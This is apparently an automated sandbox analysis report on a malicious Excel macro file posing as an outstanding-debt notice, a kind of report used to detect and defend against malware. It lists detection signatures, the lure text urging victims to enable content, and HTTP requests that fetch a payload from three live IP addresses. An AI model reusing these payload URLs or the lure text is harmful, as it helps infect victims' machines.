Loading ...

Play interactive tourEdit tour

Analysis Report Outstanding-Debt-610716193-05042021.xlsm

Overview

General Information

Sample Name:Outstanding-Debt-610716193-05042021.xlsm
Analysis ID:404168
MD5:b20f59f0dec28c944c62f14fcdeecebb
SHA1:113cdca46cefdbb50697d6f539dcc71bb3a1947a
SHA256:78a9d532ef2c79aa430393c85f8f0351d6fa0578297a7d5d349701670890145b
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:64
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malicious Excel 4.0 Macro
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Found Excel 4.0 Macro with suspicious formulas
Allocates a big amount of memory (probably used for heap spraying)
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
IP address seen in connection with other malware
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Uses a known web browser user agent for HTTP communication

Classification

Startup

  • System is w7x64
  • EXCEL.EXE (PID: 2028 cmdline: 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding MD5: 5FB0A0F93382ECD19F5F499A5CAA59F0)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

No yara matches

Sigma Overview

No Sigma rule has matched

Signature Overview

Click to jump to signature section

Show All Signature Results
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior

Software Vulnerabilities:

barindex
Document exploit detected (UrlDownloadToFile)Show sources
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXESection loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileAJump to behavior
Source: excel.exeMemory has grown: Private usage: 4MB later: 34MB
Source: global trafficTCP traffic: 192.168.2.22:49165 -> 185.183.99.115:80
Source: global trafficTCP traffic: 192.168.2.22:49165 -> 185.183.99.115:80
Source: Joe Sandbox ViewIP Address: 185.183.99.115 185.183.99.115
Source: Joe Sandbox ViewIP Address: 51.89.73.159 51.89.73.159
Source: Joe Sandbox ViewIP Address: 190.14.37.38 190.14.37.38
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.115Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.73.159Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.38Connection: Keep-Alive
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 190.14.37.38
Source: unknownTCP traffic detected without corresponding DNS query: 51.89.73.159
Source: unknownTCP traffic detected without corresponding DNS query: 185.183.99.115
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\903675BA.jpgJump to behavior
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 185.183.99.115Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 51.89.73.159Connection: Keep-Alive
Source: global trafficHTTP traffic detected: GET /44313,6048108796.dat HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 190.14.37.38Connection: Keep-Alive

System Summary:

barindex
Found malicious Excel 4.0 MacroShow sources
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: urlmon
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
Source: Screenshot number: 4Screenshot OCR: Enable editing button from the yellow bar above 22 0 Once you have enabled editing please click Ena
Source: Screenshot number: 4Screenshot OCR: Enable Content button from the yellow bar above 23 24 25 26 27 28 29 30 31 32 33 34 35
Found Excel 4.0 Macro with suspicious formulasShow sources
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: EXEC
Source: Outstanding-Debt-610716193-05042021.xlsmOLE, VBA macro line: Private Sub Auto_Open()
Source: Outstanding-Debt-610716193-05042021.xlsmOLE indicator, VBA macros: true
Source: classification engineClassification label: mal64.expl.evad.winXLSM@1/8@0/3
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\Desktop\~$Outstanding-Debt-610716193-05042021.xlsmJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\CVRCE75.tmpJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEWindow found: window name: SysTabControl32Jump to behavior
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: OLE zip file path = xl/media/image1.jpg
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: OLE zip file path = xl/drawings/drawing2.xml
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: OLE zip file path = xl/worksheets/_rels/sheet2.xml.rels
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: OLE zip file path = xl/drawings/_rels/drawing2.xml.rels
Source: Outstanding-Debt-610716193-05042021.xlsmInitial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItemsJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dllJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior

Mitre Att&ck Matrix

Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
Valid AccountsScripting22Path InterceptionExtra Window Memory Injection1Masquerading1OS Credential DumpingFile and Directory Discovery1Remote ServicesData from Local SystemExfiltration Over Other Network MediumNon-Application Layer Protocol1Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
Default AccountsExploitation for Client Execution12Boot or Logon Initialization ScriptsBoot or Logon Initialization ScriptsDisable or Modify Tools1LSASS MemorySystem Information Discovery1Remote Desktop ProtocolData from Removable MediaExfiltration Over BluetoothApplication Layer Protocol11Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
Domain AccountsAt (Linux)Logon Script (Windows)Logon Script (Windows)Scripting22Security Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationIngress Tool Transfer2Exploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)Extra Window Memory Injection1NTDSSystem Network Configuration DiscoveryDistributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud

Behavior Graph

Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

windows-stand

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

SourceDetectionScannerLabelLink
Outstanding-Debt-610716193-05042021.xlsm2%ReversingLabsWin32.Trojan.Generic

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

No Antivirus matches

URLs

SourceDetectionScannerLabelLink
http://51.89.73.159/44313,6048108796.dat0%Avira URL Cloudsafe
http://185.183.99.115/44313,6048108796.dat0%Avira URL Cloudsafe
http://190.14.37.38/44313,6048108796.dat0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

No contacted domains info

Contacted URLs

NameMaliciousAntivirus DetectionReputation
http://51.89.73.159/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown
http://185.183.99.115/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown
http://190.14.37.38/44313,6048108796.datfalse
  • Avira URL Cloud: safe
unknown

Contacted IPs

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Public

IPDomainCountryFlagASNASN NameMalicious
185.183.99.115
unknownNetherlands
60117HSAEfalse
51.89.73.159
unknownFrance
16276OVHFRfalse
190.14.37.38
unknownPanama
52469OffshoreRacksSAPAfalse

General Information

Joe Sandbox Version:32.0.0 Black Diamond
Analysis ID:404168
Start date:04.05.2021
Start time:19:25:02
Joe Sandbox Product:CloudBasic
Overall analysis duration:0h 4m 49s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:Outstanding-Debt-610716193-05042021.xlsm
Cookbook file name:defaultwindowsofficecookbook.jbs
Analysis system description:Windows 7 x64 SP1 with Office 2010 SP2 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Run name:Without Instrumentation
Number of analysed new started processes analysed:4
Number of new started drivers analysed:0
Number of existing processes analysed:0
Number of existing drivers analysed:0
Number of injected processes analysed:0
Technologies:
  • EGA enabled
  • HDC enabled
  • AMSI enabled
Analysis Mode:default
Analysis stop reason:Timeout
Detection:MAL
Classification:mal64.expl.evad.winXLSM@1/8@0/3
Cookbook Comments:
  • Adjust boot time
  • Enable AMSI
  • Found application associated with file extension: .xlsm
  • Found Word or Excel or PowerPoint or XPS Viewer
  • Attach to Office via COM
  • Scroll down
  • Close Viewer
Warnings:
Show All
  • Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
185.183.99.115Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115/44313,6048108796.dat
51.89.73.159Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159/44313,6048108796.dat
190.14.37.38Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38/44313,6048108796.dat

Domains

No context

ASN

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
OffshoreRacksSAPAOutstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 190.14.37.38
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1770799750-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-1505499457-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-937314470-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Complaint-793844517-04302021.xlsmGet hashmaliciousBrowse
  • 190.14.37.36
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
Cancellation-419022185-04292021.xlsmGet hashmaliciousBrowse
  • 190.14.37.27
HSAEOutstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 185.183.99.115
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
9177284661-04302021.xlsmGet hashmaliciousBrowse
  • 185.45.193.80
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
24e5ce5d_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 185.198.57.121
kVXWdr5oFQ.exeGet hashmaliciousBrowse
  • 185.183.96.36
t.exeGet hashmaliciousBrowse
  • 185.141.27.225
SSuPgxqQBv.exeGet hashmaliciousBrowse
  • 185.183.96.36
sGdpcwaC54.exeGet hashmaliciousBrowse
  • 185.183.96.147
sGdpcwaC54.exeGet hashmaliciousBrowse
  • 185.183.96.147
ccriZ1jd8H.exeGet hashmaliciousBrowse
  • 185.183.96.147
SecuriteInfo.com.Trojan.GenericKD.36392080.3322.exeGet hashmaliciousBrowse
  • 185.183.96.156
0304_87496944093261.docGet hashmaliciousBrowse
  • 185.183.96.157
0304_56958375050481.docGet hashmaliciousBrowse
  • 185.183.96.157
OVHFROutstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
pd9EeXdsQtNb3dQ.exeGet hashmaliciousBrowse
  • 66.70.204.222
Invoice No F1019855_PDF.vbsGet hashmaliciousBrowse
  • 79.137.109.121
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
SecuriteInfo.com.W32.MSIL_Troj.ASI.genEldorado.27642.exeGet hashmaliciousBrowse
  • 66.70.204.222
Outstanding-Debt-610716193-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
Outstanding-Debt-1840996632-05042021.xlsmGet hashmaliciousBrowse
  • 51.89.73.159
New Order Request_0232147.exeGet hashmaliciousBrowse
  • 149.202.85.210
Transcation03232016646pdf.exeGet hashmaliciousBrowse
  • 79.137.109.121
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
MZyeln5mSFOjxMx.exeGet hashmaliciousBrowse
  • 66.70.204.222
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
51086cc4_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
8aa43191_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
5e60c283_by_Libranalysis.xlsmGet hashmaliciousBrowse
  • 51.77.73.218
51086cc4_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
8aa43191_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
840e7dfd_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13
840e7dfd_by_Libranalysis.dllGet hashmaliciousBrowse
  • 167.114.113.13

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\903675BA.jpg
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:[TIFF image data, big-endian, direntries=5], baseline, precision 8, 1080x1080, frames 3
Category:dropped
Size (bytes):92379
Entropy (8bit):7.654577060340879
Encrypted:false
SSDEEP:1536:1o1vutINbjOXGw548LBkVb/oyrKXkX89DcO9GQSnIv+C1EDFVxkR7Y90:wvKINbjvw548LMb/oqKO8NnS8+60Kc0
MD5:4A425E6A5A885C0D0E2589506FD2244B
SHA1:E23482422480A4720E22F311B42BD65E2F3556F8
SHA-256:76E685FC2035D8CF19945C6686D82054B64D0A9612853D8F428C4B4FE351C160
SHA-512:3C827E13A12CC817CBD80EA7C89BEC5288FD21250728E76E00D6355008F704C77EC9BC37C85FF076D8D1F960DB53741F352AB649CD2C754B71B4D11CFFBEEA54
Malicious:false
Reputation:moderate, very likely benign file
Preview: ......JFIF.....`.`.....ZExif..MM.*.................J............Q...........Q...........Q..........................C....................................................................C.......................................................................8.8.."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..D.G.\.....i].......k.@U.........B..Hw.A...`p;.RsIRHTs..%G?QU.#..$..."...U.A....g].s......c..,....{W'..M.Nc....F.~..y..l..`.e..a..[...P.y]..k_..CI..z.Ru..s.6.Y....."..1]Q......e#.......~.`sk..KH......p.4.i.j+3{.....N.DS..L.....o..o.5f>..jY.uS...Z.B...UG`)..6D....(.....
C:\Users\user\AppData\Local\Temp\9FDE0000
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):117638
Entropy (8bit):7.6878779841924585
Encrypted:false
SSDEEP:3072:GH5QnGrvKINbjvw548LMb/oqKO8NnS8+60KcK:GmnGmAbT648LM7D98Np+ET
MD5:94CB90855A0F65363A18B481FBE52964
SHA1:A8E3950E46D8BE2DEECAC2C09C12C065942ED8F4
SHA-256:817799E6E5ABF742ECBCB55EB112F8F807EA9734448FC1E4CEEA0C4DA40731E2
SHA-512:21664AE908A8C751DBCDF06D3F16A75E3E45E2EA8C1B92B25C121E6E15F753D21A3878469E90129BD23101F36DC60F0FDDC2B1045E050AB88D8F0DFDF4B06137
Malicious:false
Reputation:low
Preview: .U.n.0....?...".....r.y...I>.&..m.$H...K...$$@.zQ;.3\p..V.K.AYS..:"..a.2uE...._.....5P.5.r=..m..v...6."M..7cA4..@...+3.[.....q..5.....k".X.A&.[.......~.t2U..7...UE.sZ...Q.4..... .xi........VS..2.G.....rz.a..V....Xh..?P....rZ.....T..;..._.A.$....?.E..J.W..Sk..<or..%..h.-.-....>.k\.7Qg.re`.v........$.........5d..............4?{.:.&...,_?>?......B.-CFu....p..1.T.z..cw.!=.M-....}.....3..7...r.......;ap.7.B.e.N[...v......z..T]:........c.`.Nx....W.<..r.O........PK..........!.........*.......[Content_Types].xml ...(.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:data
Category:dropped
Size (bytes):162688
Entropy (8bit):4.254386080646643
Encrypted:false
SSDEEP:1536:C65f3FNSc8SetKB96vQVCBumVMOej6mXmYarrJQcd1FaLcm48s:CMNNSc83tKBAvQVCgOtmXmLpLm4l
MD5:A6FE347D84B76CC7949AA1B66FEF021F
SHA1:22B719E8DE808E3A1D29134ED839173041F5C3B2
SHA-256:2EC26B3E367A8BDF9073D66574F0FB26697AA1F405105824D894F5249C12F63F
SHA-512:EC53F2BBE6EF89F5A8F28A7705982E949E1454563CAC8ABBB8677F3A4101FDBCA4B2229E5885D54DC8ABE79E25CF2261F0EDCBAB78A127294E2596ACB4258421
Malicious:false
Reputation:low
Preview: MSFT................Q................................#......$....... ...................d.......,...........X....... ...........L...........x.......@...........l.......4...........`.......(...........T...................H...........t.......<...........h.......0...........\.......$...........P...........|.......D...........p.......8...........d.......,...........X....... ...........L...........x.......@........ ..l ... ..4!...!...!..`"..."..(#...#...#..T$...$...%...%...%..H&...&...'..t'...'..<(...(...)..h)...)..0*...*...*..\+...+..$,...,...,..P-...-......|.......D/.../...0..p0...0..81...1...2..d2...2..,3...3...3..X4...4.. 5...5...5..L6...6...7..x7...7..@8.......8..............................$................................................................................x..xG..............T........................................... ...........................................................&!..............................................................................................
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Wed May 5 01:25:42 2021, atime=Wed May 5 01:25:42 2021, length=8192, window=hide
Category:dropped
Size (bytes):867
Entropy (8bit):4.4687262209115755
Encrypted:false
SSDEEP:12:85QpZLgXg/XAlCPCHaXtB8XzB/bUzxX+WnicvbLbDtZ3YilMMEpxRljKYtcTdJP8:85o/XTd6joYeTDv3qTarNru/
MD5:AC99A6DE7FC83AEAC9F424B175B3EDF8
SHA1:60933F1A7FB2BE047326399271CEEE51DF527814
SHA-256:CBFF528698B56B46B65391A092926EDB7043CD0B72756A4E89730D2CFA4E67EA
SHA-512:22D103ECD922864C3146B0D2BCDAF8433AB68B0E9CE6C4107376AE4EF141894FC0D73B38643D0464E12E260FEA5C2C9A1038C602FF3A41B77F69AEDEB1F1CBCE
Malicious:false
Reputation:low
Preview: L..................F...........7G...`{.UA...`{.UA... ......................i....P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X*...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......Q.y..user.8......QK.X.Q.y*...&=....U...............A.l.b.u.s.....z.1......R6...Desktop.d......QK.X.R6.*..._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.......i...............-...8...[............?J......C:\Users\..#...................\\116938\Users.user\Desktop.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......116938..........D_....3N...W...9r.[.*.......}EkD_....3N...W...9r.[.*.......}Ek....
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Outstanding-Debt-610716193-05042021.LNK
Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
